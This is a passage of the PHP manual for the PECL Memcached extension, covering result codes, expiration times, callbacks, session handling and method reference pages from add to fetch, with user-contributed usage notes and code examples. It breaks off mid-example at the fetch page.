End of result set.

Memcached::RES_ERRNO

System error.

Memcached::RES_BUFFERED

The operation was buffered.

Memcached::RES_TIMEOUT

The operation timed out.

Memcached::RES_BAD_KEY_PROVIDED

Bad key.

Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE

Failed to create network socket.

Memcached::RES_PAYLOAD_FAILURE

Payload failure: could not compress/decompress or serialize/unserialize the value.

User Contributed Notes

Allen Tsai 24-May-2011 03:04
Memcached::OPT_SERVER_FAILURE_LIMIT - once a server has hit this limit, the client's getResultMessage() will return "SERVER IS MARKED DEAD."  Further gets() for keys hashing to this server will continue returning this message, as will sets() hashing to the dead server.

Version 2.0.01b supports a constant Memcached::OPT_AUTO_EJECT_HOSTS which allows automatic rebalancing of the cluster/automatic failover handling.
akenney at onesite dot com 29-Dec-2010 08:13
Apparently there is a bug in libmemcached where connect timeout does not work when OPT_NO_BLOCK is set as well.

The bug and related blocking bugs are discussed here:
https://bugs.launchpad.net/libmemcached/+bug/583031

We confirmed this in libmemcached version 0.43

Be sure to test some memcache servers in your pool being unavailable (no route to host and memcache service down) to ensure that timeout settings are working correctly.
tyliu2 at gmail dot com 21-Jan-2010 10:07
RES_SUCCESS = 0
RES_FAILURE = 1
RES_HOST_LOOKUP_FAILURE = 2
RES_UNKNOWN_READ_FAILURE = 7
RES_PROTOCOL_ERROR = 8
RES_CLIENT_ERROR = 9
RES_SERVER_ERROR = 10
RES_WRITE_FAILURE = 5
RES_DATA_EXISTS = 12
RES_NOTSTORED = 14
RES_NOTFOUND = 16
RES_PARTIAL_READ = 18
RES_SOME_ERRORS = 19
RES_NO_SERVERS = 20
RES_END = 21
RES_ERRNO = 26
RES_BUFFERED = 32
RES_TIMEOUT = 31
RES_BAD_KEY_PROVIDED = 33
RES_CONNECTION_SOCKET_CREATE_FAILURE = 11
RES_PAYLOAD_FAILURE = -1001
Resource Types
Expiration Times
Memcached


Expiration Times

Some storage commands involve sending an expiration value (relative to an item or to an operation requested by the client) to the server. In all such cases, the actual value sent may either be Unix time (number of seconds since January 1, 1970, as an integer), or a number of seconds starting from current time. In the latter case, this number of seconds may not exceed 60*60*24*30 (number of seconds in 30 days); if the expiration value is larger than that, the server will consider it to be real Unix time value rather than an offset from current time.

If the expiration value is 0 (the default), the item never expires (although it may be deleted from the server to make place for other items).

User Contributed Notes

info at tueena dot com 24-Jan-2012 03:24
Note that if you pass the expiration time as an offset of seconds then the cache item will expire in current-second + offset, not in now + offset.

<?php
$Memcached->add('foo', 42, 2);
?>

This item will expire in n seconds where n > 1 and <= 2, not in exactly 2 seconds.
Predefined Constants
Callbacks
Memcached


Callbacks

Table of Contents

  • Result callbacks
  • Read-through cache callbacks

User Contributed Notes

There are no user contributed notes for this page.
Expiration Times
Result callbacks
Memcached


Result callbacks

Result callbacks are invoked by Memcached::getDelayed() or Memcached::getDelayedBykey() methods for each item in the result set. The callback is passed the Memcached object and the array with the item information. The callback does not have to return anything.

Example #1 Result callback example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
$m->setMulti($items);
$m->getDelayed(array('key1', 'key3'), true, 'result_cb');

function result_cb($memc, $item)
{
    var_dump($item);
}
?>

The above example will output something similar to:

array(3) {
  ["key"]=>
  string(4) "key1"
  ["value"]=>
  string(6) "value1"
  ["cas"]=>
  float(49)
}
array(3) {
  ["key"]=>
  string(4) "key3"
  ["value"]=>
  string(6) "value3"
  ["cas"]=>
  float(50)
}

User Contributed Notes

edwarddrapkin at gmail dot com 11-Mar-2009 05:54
I was having trouble making method calls with the result callbacks in getDelayed, so I emailed the developer.

If you want to use a non-static method as a callback, use the following format: array($obj, 'method'); for example:

<?php
class foo {
    private $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function test() {
        $this->M->getDelayed(array('a'), false, array($this, 'fun'));
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->test();
?>

or, alternatively:

<?php
class foo {
    public $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->M->getDelayed(array('a'), false, array($f, 'fun'));
?>

Works great, thanks Andrei :)
Callbacks
Read-through cache callbacks
Callbacks


Read-through cache callbacks

Read-through cache callbacks are invoked when an item cannot be retrieved from the server. The callback is passed the Memcached object, the requested key, and the by-reference value variable. The callback is responsible for setting the value and returning true or false. If the callback returns true, Memcached will store the populated value on the server and return it to the original calling function. Only Memcached::get() and Memcached::getByKey() support these callbacks, because the memcache protocol does not provide information on which keys were not found in the multi-key request.

Example #1 Read-through callback example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$profile_info = $m->get('user:'.$user_id, 'user_info_cb');

function user_info_cb($memc, $key, &$value)
{
    $user_id = substr($key, 5);
    /* lookup profile info in the DB */
    /* ... */
    $value = $profile_info;
    return true;
}
?>

User Contributed Notes

chadkouse 27-Dec-2011 01:27
the expiration time set for you if you return true from the callback will be 0 (forever) - so if you want a different expiration time you can do the SET operation inside the callback with your custom expiration time.  just make sure you return FALSE from the callback to prevent the client from automatically setting the value again.
chadkouse 27-Dec-2011 01:24
Or just set the value within the callback with your own custom expiration time and return false.  I think it's cleaner.
oorza2k5 at gmail dot com 20-Mar-2009 05:40
This isn't specified anywhere, so I had a gander at the source...

The expiry on read-through cache set values is set to 0, or forever.  This means if you want your key to implicitly expire, don't use the callback methods, instead check for boolean false as a return and manually set the value, at least for now.
Result callbacks
Sessions support
Callbacks


Sessions support

Memcached provides a custom session handler that can be used to store user sessions in memcache. A completely separate memcached instance is used for that internally, so you can use a different server pool if necessary. The session keys are stored under the prefix memc.sess.key., so be aware of this if you use the same server pool for sessions and generic caching.

session.save_handler string

Set to memcached to enable sessions support.

session.save_path string

Defines a comma separated of hostname:port entries to use for session server pool, for example "sess1:11211, sess2:11211".

User Contributed Notes

sstratton at php dot net 14-Jun-2011 12:48
While the previous poster has a point that Memcached can and will cleanup to make room for it's keys, the likelihood of active sessions (due to the likelihood that they will be written to again within 30 seconds) is fairly low provided you have your memory allocation properly alloted.
Tobias 17-Feb-2011 07:35
You probably don't want to use Memcache, Memcached or anything else similar for storing sessions (in RAM via memcached daemon server), because those sessions can easily be thrown away/discarded, become unreachable for various reasons, and then your user gets logged out without warning.

What memcache is great for, in general, is storing the results of an SQL or MongoDB query, using the md5() has of the query itself as the key lookup.

For example, for all database queries, get the md5() hash of the query, then look for that key in memcache.  If it's found, great, grab the results, check they're not too old / outdated, and use them if okay.  Otherwise, pass through the query to underlying storage-based DB, then save its results into memcache before passing them back to your app.

This general applicability of how, when, where and why to use memcache to greatest advantage and least pain isn't so easy to find on the web.

Memcached module is great for new features, etc. (except now it's almost one year since update) but it's difficult to tell when a memcached daemon goes away, crashes, becomes unreachable.

Memcache at least has ->connect() method which will report failure/unreachability, but its features are behind.

These two projects are moving targets, competing, and it would be nice to get both together, so we can all benefit from best efforts.  Meanwhile, what a mess, and what a charm!
nfoo at naver dot com 28-Aug-2010 12:15
If you want to use 'memcacheD' extention not 'memcache' (there are two diffrent extentions) for session control,  you should pay attention to modify php.ini

Most web resource from google is based on memcache because It's earlier version than memcacheD. They will say as following

session.save_handler = memcache
session.save_path = "tcp://localhost:11211"

But it's not valid when it comes to memcacheD

you should modify php.ini like that

session.save_handler = memcached
session.save_path = "localhost:11211"

Look, there is no protocol indentifier
Andrei Darashenka 27-May-2009 07:56
This extension supports Session-locking!

by default
MEMC_SESS_LOCK_ATTEMPTS   30
MEMC_SESS_LOCK_WAIT       100000
MEMC_SESS_LOCK_EXPIRATION 30
Read-through cache callbacks
Memcached
Memcached


The Memcached class

(No version information available, might only be in SVN)

Introduction

Represents a connection to a set of memcached servers.

Class synopsis

Memcached {
public __construct ([ string $persistent_id ] )
public bool add ( string $key , mixed $value [, int $expiration ] )
public bool addByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )
public bool addServer ( string $host , int $port [, int $weight = 0 ] )
public bool addServers ( array $servers )
public bool append ( string $key , string $value )
public bool appendByKey ( string $server_key , string $key , string $value )
public bool cas ( float $cas_token , string $key , mixed $value [, int $expiration ] )
public bool casByKey ( float $cas_token , string $server_key , string $key , mixed $value [, int $expiration ] )
public int decrement ( string $key [, int $offset = 1 ] )
public bool delete ( string $key [, int $time = 0 ] )
public bool deleteByKey ( string $server_key , string $key [, int $time = 0 ] )
public array fetch ( void )
public array fetchAll ( void )
public bool flush ([ int $delay = 0 ] )
public mixed get ( string $key [, callback $cache_cb [, float &$cas_token ]] )
public mixed getByKey ( string $server_key , string $key [, callback $cache_cb [, float &$cas_token ]] )
public bool getDelayed ( array $keys [, bool $with_cas [, callback $value_cb ]] )
public bool getDelayedByKey ( string $server_key , array $keys [, bool $with_cas [, callback $value_cb ]] )
public mixed getMulti ( array $keys [, array &$cas_tokens [, int $flags ]] )
public array getMultiByKey ( string $server_key , array $keys [, string &$cas_tokens [, int $flags ]] )
public mixed getOption ( int $option )
public int getResultCode ( void )
public string getResultMessage ( void )
public array getServerByKey ( string $server_key )
public array getServerList ( void )
public array getStats ( void )
public array getVersion ( void )
public int increment ( string $key [, int $offset = 1 ] )
public bool prepend ( string $key , string $value )
public bool prependByKey ( string $server_key , string $key , string $value )
public bool replace ( string $key , mixed $value [, int $expiration ] )
public bool replaceByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )
public bool set ( string $key , mixed $value [, int $expiration ] )
public bool setByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )
public bool setMulti ( array $items [, int $expiration ] )
public bool setMultiByKey ( string $server_key , array $items [, int $expiration ] )
public bool setOption ( int $option , mixed $value )
}

Table of Contents

  • Memcached::add — Add an item under a new key
  • Memcached::addByKey — Add an item under a new key on a specific server
  • Memcached::addServer — Add a server to the server pool
  • Memcached::addServers — Add multiple servers to the server pool
  • Memcached::append — Append data to an existing item
  • Memcached::appendByKey — Append data to an existing item on a specific server
  • Memcached::cas — Compare and swap an item
  • Memcached::casByKey — Compare and swap an item on a specific server
  • Memcached::__construct — Create a Memcached instance
  • Memcached::decrement — Decrement numeric item's value
  • Memcached::delete — Delete an item
  • Memcached::deleteByKey — Delete an item from a specific server
  • Memcached::fetch — Fetch the next result
  • Memcached::fetchAll — Fetch all the remaining results
  • Memcached::flush — Invalidate all items in the cache
  • Memcached::get — Retrieve an item
  • Memcached::getByKey — Retrieve an item from a specific server
  • Memcached::getDelayed — Request multiple items
  • Memcached::getDelayedByKey — Request multiple items from a specific server
  • Memcached::getMulti — Retrieve multiple items
  • Memcached::getMultiByKey — Retrieve multiple items from a specific server
  • Memcached::getOption — Retrieve a Memcached option value
  • Memcached::getResultCode — Return the result code of the last operation
  • Memcached::getResultMessage — Return the message describing the result of the last operation
  • Memcached::getServerByKey — Map a key to a server
  • Memcached::getServerList — Get the list of the servers in the pool
  • Memcached::getStats — Get server pool statistics
  • Memcached::getVersion — Get server pool version info
  • Memcached::increment — Increment numeric item's value
  • Memcached::prepend — Prepend data to an existing item
  • Memcached::prependByKey — Prepend data to an existing item on a specific server
  • Memcached::replace — Replace the item under an existing key
  • Memcached::replaceByKey — Replace the item under an existing key on a specific server
  • Memcached::set — Store an item
  • Memcached::setByKey — Store an item on a specific server
  • Memcached::setMulti — Store multiple items
  • Memcached::setMultiByKey — Store multiple items on a specific server
  • Memcached::setOption — Set a Memcached option

User Contributed Notes

There are no user contributed notes for this page.
Sessions support
Memcached::add
Memcached


Add an item under a new key

Memcached
Memcached::addByKey
Memcached
PHP Manual

Memcached::add

(PECL memcached >= 0.1.0)

Memcached::add — Add an item under a new key

Description

public bool Memcached::add ( string $key , mixed $value [, int $expiration ] )

Memcached::add() is similar to Memcached::set(), but the operation fails if the key already exists on the server.

Parameters

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key already exists.

See Also

  • Memcached::addByKey() - Add an item under a new key on a specific server
  • Memcached::set() - Store an item
  • Memcached::replace() - Replace the item under an existing key

User Contributed Notes

public at kevingh dot com 28-Oct-2011 11:59
In Memcached v1.4.5, getResultCode() returns Memcached::RES_DATA_EXISTS if the key is already in use.

Otherwise Memcached::RES_SUCCESS is returned.
Memcached
Memcached::addByKey
Memcached


Add an item under a new key on a specific server

Memcached::add
Memcached::addServer
Memcached
PHP Manual

Memcached::addByKey

(PECL memcached >= 0.1.0)

Memcached::addByKey — Add an item under a new key on a specific server

Description

public bool Memcached::addByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )

Memcached::addByKey() is functionally equivalent to Memcached::add(), except that the free-form server_key can be used to map the key to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

server_key

The key identifying the server to store the value on.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key already exists.

See Also

  • Memcached::add() - Add an item under a new key
  • Memcached::set() - Store an item
  • Memcached::replace() - Replace the item under an existing key

User Contributed Notes

There are no user contributed notes for this page.
Memcached::add
Memcached::addServer
Memcached


Add a server to the server pool

Memcached::addByKey
Memcached::addServers
Memcached
PHP Manual

Memcached::addServer

(PECL memcached >= 0.1.0)

Memcached::addServer — Add a server to the server pool

Description

public bool Memcached::addServer ( string $host , int $port [, int $weight = 0 ] )

Memcached::addServer() adds the specified server to the server pool. No connection is established to the server at this time, but if you are using consistent key distribution option (via Memcached::DISTRIBUTION_CONSISTENT or Memcached::OPT_LIBKETAMA_COMPATIBLE), some of the internal data structures will have to be updated. Thus, if you need to add multiple servers, it is better to use Memcached::addServers() as the update then happens only once.

The same server may appear multiple times in the server pool, because no duplication checks are made. This is not advisable; instead, use the weight option to increase the selection weighting of this server.

Parameters

host

The hostname of the memcache server. If the hostname is invalid, data-related operations will set Memcached::RES_HOST_LOOKUP_FAILURE result code.

port

The port on which memcache is running. Usually, this is 11211.

weight

The weight of the server relative to the total weight of all the servers in the pool. This controls the probability of the server being selected for operations. This is used only with consistent distribution option and usually corresponds to the amount of memory available to memcache on that server.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcached::addServer() example

<?php
$m = new Memcached();

/* Add 2 servers, so that the second one
   is twice as likely to be selected. */
$m->addServer('mem1.domain.com', 11211, 33);
$m->addServer('mem2.domain.com', 11211, 67);
?>

See Also

  • Memcached::addServers() - Add multiple servers to the server pool

User Contributed Notes

Robbie De Lise 22-Aug-2011 10:08
On my Debian Squeeze system I was getting WRITE FAILURE errors. After debugging and finally tcpdump it seems that the problem was me adding the server 'localhost', which resolved to '::1' (ipv6) while the default memcached server on debian only listens to '127.0.0.1' (ipv4). DNS automatically prefers ipv6 over ipv4.

I added the server '127.0.0.1' instead and everything worked. You could also disable ipv6 or have memcached listen on ::1
Bill Getas 30-Aug-2010 11:26
Unix sockets are not yet supported by PECL/memcached
Memcached::addByKey
Memcached::addServers
Memcached


Add multiple servers to the server pool

Memcached::addServer
Memcached::append
Memcached
PHP Manual

Memcached::addServers

(PECL memcached >= 0.1.1)

Memcached::addServers — Add multiple servers to the server pool

Description

public bool Memcached::addServers ( array $servers )

Memcached::addServers() adds servers to the server pool. Each entry in servers is supposed to be an array containing hostname, port, and, optionally, weight of the server. No connection is established to the servers at this time.

The same server may appear multiple times in the server pool, because no duplication checks are made. This is not advisable; instead, use the weight option to increase the selection weighting of this server.

Parameters

array

Array of the servers to add to the pool.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcached::addServers() example

<?php
$m = new Memcached();

$servers = array(
    array('mem1.domain.com', 11211, 33),
    array('mem2.domain.com', 11211, 67)
);
$m->addServers($servers);
?>

See Also

  • Memcached::addServer() - Add a server to the server pool

User Contributed Notes

Michael Brenden 17-Feb-2011 03:27
See the note for __construct()

Important to not call ->addServers() every run -- only call it if no servers exist (check getServerList() ); otherwise, since addServers() does not check for dups, it will let you add the same server again and again and again, resultings in hundreds if not thousands of connections to the MC daemon.
Memcached::addServer
Memcached::append
Memcached


Append data to an existing item

Memcached::addServers
Memcached::appendByKey
Memcached
PHP Manual

Memcached::append

(PECL memcached >= 0.1.0)

Memcached::append — Append data to an existing item

Description

public bool Memcached::append ( string $key , string $value )

Memcached::append() appends the given value string to the value of an existing item. The reason that value is forced to be a string is that appending mixed types is not well-defined.

Note:

If the Memcached::OPT_COMPRESSION is enabled, the operation will fail and a warning will be issued, because appending compressed data to a value that is potentially already compressed is not possible.

Parameters

key

The key under which to store the value.

value

The string to append.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

Examples

Example #1 Memcached::append() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->append('foo', 'def');
var_dump($m->get('foo'));
?>

The above example will output:

string(6) "abcdef"

See Also

  • Memcached::appendByKey() - Append data to an existing item on a specific server
  • Memcached::prepend() - Prepend data to an existing item

User Contributed Notes

There are no user contributed notes for this page.
Memcached::addServers
Memcached::appendByKey
Memcached


Append data to an existing item on a specific server

Memcached::append
Memcached::cas
Memcached
PHP Manual

Memcached::appendByKey

(PECL memcached >= 0.1.0)

Memcached::appendByKey — Append data to an existing item on a specific server

Description

public bool Memcached::appendByKey ( string $server_key , string $key , string $value )

Memcached::appendByKey() is functionally equivalent to Memcached::append(), except that the free-form server_key can be used to map the key to a specific server.

Parameters

server_key

The key identifying the server to store the value on.

key

The key under which to store the value.

value

The string to append.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

See Also

  • Memcached::append() - Append data to an existing item
  • Memcached::prepend() - Prepend data to an existing item

User Contributed Notes

There are no user contributed notes for this page.
Memcached::append
Memcached::cas
Memcached


Compare and swap an item

Memcached::appendByKey
Memcached::casByKey
Memcached
PHP Manual

Memcached::cas

(PECL memcached >= 0.1.0)

Memcached::cas — Compare and swap an item

Description

public bool Memcached::cas ( float $cas_token , string $key , mixed $value [, int $expiration ] )

Memcached::cas() performs a "check and set" operation, so that the item will be stored only if no other client has updated it since it was last fetched by this client. The check is done via the cas_token parameter which is a unique 64-bit value assigned to the existing item by memcache. See the documentation for Memcached::get*() methods for how to obtain this token. Note that the token is represented as a double due to the limitations of PHP's integer space.

Parameters

cas_token

Unique value associated with the existing item. Generated by memcache.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_DATA_EXISTS if the item you are trying to store has been modified since you last fetched it.

Examples

Example #1 Memcached::cas() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

do {
    /* fetch IP list and its token */
    $ips = $m->get('ip_block', null, $cas);
    /* if list doesn't exist yet, create it and do
       an atomic add which will fail if someone else already added it */
    if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
        $ips = array($_SERVER['REMOTE_ADDR']);
        $m->add('ip_block', $ips);
    /* otherwise, add IP to the list and store via compare-and-swap
       with the token, which will fail if someone else updated the list */
    } else {
        $ips[] = $_SERVER['REMOTE_ADDR'];
        $m->cas($cas, 'ip_block', $ips);
    }
} while ($m->getResultCode() != Memcached::RES_SUCCESS);

?>

See Also

  • Memcached::casByKey() - Compare and swap an item on a specific server

User Contributed Notes

abodera at gmail dot com 27-Apr-2010 01:19
Watch out!

When using binary protocol, the expected result after cas() is 21 (Memcached::RES_END).

For example, to make the above example #1 work with binary protocol, use the following:
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_BINARY_PROTOCOL,true)

// [...]

    } else {
        $ips[] = $_SERVER['REMOTE_ADDR'];
        $m->cas($cas, 'ip_block', $ips);
    }
} while ($m->getResultCode() != Memcached::RES_END);
?>
Memcached::appendByKey
Memcached::casByKey
Memcached


Compare and swap an item on a specific server

Memcached::cas
Memcached::__construct
Memcached
PHP Manual

Memcached::casByKey

(PECL memcached >= 0.1.0)

Memcached::casByKey — Compare and swap an item on a specific server

Description

public bool Memcached::casByKey ( float $cas_token , string $server_key , string $key , mixed $value [, int $expiration ] )

Memcached::casByKey() is functionally equivalent to Memcached::cas(), except that the free-form server_key can be used to map the key to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

cas_token

Unique value associated with the existing item. Generated by memcache.

server_key

The key identifying the server to store the value on.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_DATA_EXISTS if the item you are trying to store has been modified since you last fetched it.

See Also

  • Memcached::cas() - Compare and swap an item

User Contributed Notes

There are no user contributed notes for this page.
Memcached::cas
Memcached::__construct
Memcached


Create a Memcached instance

Memcached::casByKey
Memcached::decrement
Memcached
PHP Manual

Memcached::__construct

(PECL memcached >= 0.1.0)

Memcached::__construct — Create a Memcached instance

Description

public Memcached::__construct() ([ string $persistent_id ] )

Creates a Memcached instance representing the connection to the memcache servers.

Parameters

persistent_id

By default the Memcached instances are destroyed at the end of the request. To create an instance that persists between requests, use persistent_id to specify a unique ID for the instance. All instances created with the same persistent_id will share the same connection.

Return Values

A Memcached object.

Examples

Example #1 Creating a Memcached object

<?php
/* Create a regular instance */
$m = new Memcached();
echo get_class($m);

/* Create a persistent instance */
$m2 = new Memcached('story_pool');
$m3 = new Memcached('story_pool');

/* now $m2 and $m3 share the same connection */
?>

User Contributed Notes

enknamel AT gmail DOT com 13-Dec-2011 02:53
This was causing me to tear my hair out since I listened to the comments posted here.

If you enable persistence, the options you set will persist as well AND certain options if you set them with persistence enabled WILL CLOSE ALL YOUR PERSISTED CONNECTIONS. This is a part of libmemcached that the memcached extensions is built against. You can verify this by running strace.

So this is what you should do:

<?php

$mem = new Memcached($myPoolId);

if(empty($mem->getServerList())) {
    //This code block will only execute if we are setting up a new EG(persistent_list) entry
    $mem->setOption(Memcached::OPT_RECV_TIMEOUT, 1000);
    $mem->setOption(Memcached::OPT_SEND_TIMEOUT, 3000);
    $mem->setOption(Memcached::OPT_TCP_NODELAY, true);
    $mem->setOption(Memcached::OPT_PREFIX_KEY, "md_");
    $mem->addServer($myMemcahceIp, $myMemcachePort);
}

?>
clancy hood at gmail dot com 04-Jun-2011 01:32
If you're wanting to get started with Memcached on a relatively small project but need some scalability then it can make sense to allow $persistent_id to also denote both a key prefix and a server set which you define yourself.  This keeps both key separation and allocation of data sets to certain server(s) incredibly simple throughout the project's life, without hampering any of your options.

<?php

    // Here is the array which we will add to in the future
    $GLOBALS['memcached-sets'] = array (
        '_' => array (
            array('localhost', 11211)
        )
    );

    define('DEFAULT_MEMCACHED_SET', '_');

    function mcache( $persistent_id=DEFAULT_MEMCACHED_SET ) {

        // one instantiation per-connection per-request
        static $memcached_instances = array();

        if( array_key_exists($persistent_id, $memcached_instances)) {
            $instance = $memcached_instances[$persistent_id];
        }else{
            $instance = new Memcached($persistent_id);
            $instance->setOption(Memcached::OPT_PREFIX_KEY, $persistent_id);
            $instance->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true); // advisable option

            // Add servers if no connections listed. Get server set by $persistent_id or use default set.
            // In a production environment with multiple server sets you may wish to prevent typos from silently adding data
            // to the default pool, in which case return an error on no match instead of defaulting
            if( !count($instance->getServerList()) ) {
                $servers = array_key_exists($persistent_id, $GLOBALS['memcached-sets'])
                    ? $GLOBALS['memcached-sets'][$persistent_id]
                    : $GLOBALS['memcached-sets'][DEFAULT_MEMCACHED_SET];
                $instance->addServers($servers);
            }

            $memcached_instances[$persistent_id] = $instance;
        }
        return $instance;
    }

    // simple example
    mcache()->set('foo', 'bar');
    mcache('myset')->set('foo', 'baz');

    var_dump(mcache()->get('foo'), mcache('myset')->get('foo'));

?>

string(3) "bar"
string(3) "baz"

Just remember to keep your $persistent_ids short as they infringe upon your maximum key length.  Happy coding! :)
Tobias 17-Feb-2011 07:24
Note that with this Memcached interface, if one or more underlying memcached daemons are down, suffering high network latency (over 1 second by default), or have crashed, then there still will be no warning, no error, no notice.  Everything will appear to work correctly, you just won't get proper results back.
Tobias 17-Feb-2011 03:48
Not positive, but it seems like the __construct() creates an instance of Memcache() class that lives (and stays alive) in at least the child Apache procs, if not the main Apache proc.

This (seems to) mean that Memcache daemons added to the server "pool" (via ->addServers() ) stay remembered.

This is why you do not want to call ->addServers() every time your script runs, because ->addServers() does not check for dups and will add hundreds or thousands of connections to the memcached daemon proc from the Apache proc(s).

One side effect is that any other scripts (even across different website domains) can also add to your server "pool" (if they know the server pool name, or if they can get it from the memcached daemon itself (not sure if/how this is possible), or if you or your team has coded several sites using the same server pool (i.e., new Memcached( 'same-server-pool-name' ) ).  This may present a security hole.
jeroen at 4worx dot com 16-Nov-2009 02:51
Using multiple memcached instances with options in combination with persistent connections might be confusing:

<?php

$a = new Memcached('memcached_pool');
$a->setOption(Memcached::OPT_COMPRESSION, false);

$b = new Memcached('memcached_pool');
$b->setOption(Memcached::OPT_COMPRESSION, true);

$a->add('key', 'some data');

?>

You might think that connection $a will store everything uncompressed, but this is not the case.
The persistent connection options are changed by the second object creation.
tschundler at gmail dot com 15-Sep-2009 02:43
When using persistent connections, it is important to not re-add servers.

This is what you do not want to do:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
$mc->addServers(array(
    array('mc1.example.com',11211),
    array('mc2.example.com',11211),
));
?>
Every time the page is loaded those servers will be appended to the list resulting in many simultaneous open connections to the same server. The addServer/addServers functions to not check for existing references to the specified servers.

A better approach is something like:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
if (!count($mc->getServerList())) {
    $mc->addServers(array(
        array('mc1.example.com',11211),
        array('mc2.example.com',11211),
    ));
}
?>
Memcached::casByKey
Memcached::decrement
Memcached


Decrement numeric item's value

Memcached::__construct
Memcached::delete
Memcached
PHP Manual

Memcached::decrement

(PECL memcached >= 0.1.0)

Memcached::decrement — Decrement numeric item's value

Description

public int Memcached::decrement ( string $key [, int $offset = 1 ] )

Memcached::decrement() decrements a numeric item's value by the specified offset. If the item's value is not numeric, it is treated as if the value were 0. If the operation would decrease the value below 0, the new value will be 0. Memcached::decrement() will fail if the item does not exist.

Parameters

key

The key of the item to decrement.

offset

The amount by which to decrement the item's value.

Return Values

Returns item's new value on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

Examples

Example #1 Memcached::decrement() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 5);
$m->decrement('counter');
var_dump($m->get('counter'));

$m->decrement('counter', 10);
var_dump($m->get('counter'));
?>

The above example will output:

int(4)
int(0)

See Also

  • Memcached::increment() - Increment numeric item's value

User Contributed Notes

There are no user contributed notes for this page.
Memcached::__construct
Memcached::delete
Memcached


Delete an item

Memcached::decrement
Memcached::deleteByKey
Memcached
PHP Manual

Memcached::delete

(PECL memcached >= 0.1.0)

Memcached::delete — Delete an item

Description

public bool Memcached::delete ( string $key [, int $time = 0 ] )

Memcached::delete() deletes the key from the server. The time parameter is the amount of time in seconds (or Unix time until which) the client wishes the server to refuse add and replace commands for this key. For this amount of time, the item is put into a delete queue, which means that it won't possible to retrieve it by the get command, but add and replace command with this key will also fail (the set command will succeed, however). After the time passes, the item is finally deleted from server memory. The parameter time defaults to 0 (which means that the item will be deleted immediately and further storage commands with this key will succeed).

Parameters

key

The key to be deleted.

time

The amount of time the server will wait to delete the item.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

Examples

Example #1 Memcached::delete() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->delete('key1');
?>

See Also

  • Memcached::deleteByKey() - Delete an item from a specific server

User Contributed Notes

There are no user contributed notes for this page.
Memcached::decrement
Memcached::deleteByKey
Memcached


Delete an item from a specific server

Memcached::delete
Memcached::fetch
Memcached
PHP Manual

Memcached::deleteByKey

(PECL memcached >= 0.1.0)

Memcached::deleteByKey — Delete an item from a specific server

Description

public bool Memcached::deleteByKey ( string $server_key , string $key [, int $time = 0 ] )

Memcached::deleteByKey() is functionally equivalent to Memcached::delete(), except that the free-form server_key can be used to map the key to a specific server.

Parameters

server_key

The key identifying the server to store the value on.

key

The key to be deleted.

time

The amount of time the server will wait to delete the item.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

See Also

  • Memcached::delete() - Delete an item

User Contributed Notes

There are no user contributed notes for this page.
Memcached::delete
Memcached::fetch
Memcached


Fetch the next result

Memcached::deleteByKey
Memcached::fetchAll
Memcached
PHP Manual

Memcached::fetch

(PECL memcached >= 0.1.0)

Memcached::fetch — Fetch the next result

Description

public array Memcached::fetch ( void )

Memcached::fetch() retrieves the next result from the last request.

Parameters

This function has no parameters.

Return Values

Returns the next result or FALSE otherwise. The Memcached::getResultCode() will return Memcached::RES_END if result set is exhausted.

Examples

Example #1 Memcached::fetch() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
while ($result = $m->fetch()) {
    var_dump($result);
}
?>

The above example will output something similar to:

